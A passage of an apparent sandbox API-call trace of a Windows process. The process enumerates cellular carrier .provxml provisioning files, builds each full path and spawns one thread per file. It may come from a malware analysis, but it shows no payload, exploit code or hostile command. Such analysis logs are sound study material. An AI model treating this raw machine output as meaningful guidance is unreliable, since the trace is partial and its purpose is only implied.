Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.046] wcscat (in: _Dest=0x4f00df0, _Source="247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml" [0178.046] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f00df0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x530 [0178.047] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909490d0, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909490d0, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909490d0, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml", cAlternateFileName="248__C~1.PRO")) returned 1 [0178.047] wcscmp (_String1="248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.047] wcscmp (_String1="248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.047] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x4f005e0 [0178.047] wcscpy (in: _Dest=0x4f005e0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.047] wcscat (in: _Dest=0x4f005e0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.047] wcscat (in: _Dest=0x4f005e0, _Source="248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml" [0178.047] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f005e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d8 [0178.048] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9096f33b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9096f33b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9096f33b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="249__C~1.PRO")) returned 1 [0178.048] wcscmp (_String1="249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.048] wcscmp (_String1="249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.048] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x140) returned 0x2ff0018 [0178.048] wcscpy (in: _Dest=0x2ff0018, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.048] wcscat (in: _Dest=0x2ff0018, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.048] wcscat (in: _Dest=0x2ff0018, _Source="249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml" [0178.048] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff0018, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b0 [0178.049] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901892f8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901892f8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901892f8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="24__CE~1.PRO")) returned 1 [0178.049] wcscmp (_String1="24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2=".") returned 1 [0178.049] wcscmp (_String1="24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2="..") returned 1 [0178.049] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x144) returned 0x4f00738 [0178.049] wcscpy (in: _Dest=0x4f00738, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.049] wcscat (in: _Dest=0x4f00738, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.049] wcscat (in: _Dest=0x4f00738, _Source="24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" [0178.049] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f00738, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x37c [0178.050] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9096f33b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9096f33b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9096f33b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x283, dwReserved0=0x0, dwReserved1=0x0, cFileName="250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="250__C~1.PRO")) returned 1 [0178.050] wcscmp (_String1="250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.050] wcscmp (_String1="250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.050] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x140) returned 0x2ff0160 [0178.050] wcscpy (in: _Dest=0x2ff0160, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.050] wcscat (in: _Dest=0x2ff0160, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.050] wcscat (in: _Dest=0x2ff0160, _Source="250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml" [0178.050] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff0160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e4 [0178.051] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9096f33b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9096f33b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9096f33b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="251__C~1.PRO")) returned 1 [0178.051] wcscmp (_String1="251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.051] wcscmp (_String1="251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.051] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x154) returned 0x4f011c0 [0178.051] wcscpy (in: _Dest=0x4f011c0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.051] wcscat (in: _Dest=0x4f011c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.051] wcscat (in: _Dest=0x4f011c0, _Source="251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml" [0178.051] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f011c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x860 [0178.052] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9096f33b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9096f33b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9096f33b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="252__C~1.PRO")) returned 1 [0178.052] wcscmp (_String1="252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.052] wcscmp (_String1="252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.052] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14a) returned 0x4f01320 [0178.052] wcscpy (in: _Dest=0x4f01320, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.052] wcscat (in: _Dest=0x4f01320, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.052] wcscat (in: _Dest=0x4f01320, _Source="252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml" [0178.052] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f01320, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4dc [0178.053] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909955a7, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909955a7, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909955a7, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x361, dwReserved0=0x0, dwReserved1=0x0, cFileName="253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml", cAlternateFileName="253__C~1.PRO")) returned 1 [0178.053] wcscmp (_String1="253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.053] wcscmp (_String1="253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.053] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x16a) returned 0x4f01478 [0178.053] wcscpy (in: _Dest=0x4f01478, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.053] wcscat (in: _Dest=0x4f01478, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.053] wcscat (in: _Dest=0x4f01478, _Source="253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml" [0178.053] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f01478, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5cc [0178.053] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909955a7, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909955a7, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909955a7, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x368, dwReserved0=0x0, dwReserved1=0x0, cFileName="254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="254__C~1.PRO")) returned 1 [0178.054] wcscmp (_String1="254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.054] wcscmp (_String1="254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.054] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x16a) returned 0x4f015f0 [0178.054] wcscpy (in: _Dest=0x4f015f0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.054] wcscat (in: _Dest=0x4f015f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.054] wcscat (in: _Dest=0x4f015f0, _Source="254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml" [0178.054] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f015f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e8 [0178.054] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909955a7, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909955a7, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909955a7, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="255__C~1.PRO")) returned 1 [0178.054] wcscmp (_String1="255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0178.054] wcscmp (_String1="255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0178.054] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x2fe18c0 [0178.055] wcscpy (in: _Dest=0x2fe18c0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.055] wcscat (in: _Dest=0x2fe18c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.055] wcscat (in: _Dest=0x2fe18c0, _Source="255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0178.055] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe18c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5dc [0178.055] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909955a7, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909955a7, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909955a7, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="256__C~1.PRO")) returned 1 [0178.595] wcscmp (_String1="256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.595] wcscmp (_String1="256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.595] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x156) returned 0x3046428 [0178.595] wcscpy (in: _Dest=0x3046428, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.595] wcscat (in: _Dest=0x3046428, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.595] wcscat (in: _Dest=0x3046428, _Source="256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml" [0178.596] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3046428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x410 [0178.596] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909bb812, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909bb812, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909bb812, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x280, dwReserved0=0x0, dwReserved1=0x0, cFileName="257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="257__C~1.PRO")) returned 1 [0178.596] wcscmp (_String1="257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.596] wcscmp (_String1="257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.597] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x140) returned 0x4f03130 [0178.597] wcscpy (in: _Dest=0x4f03130, 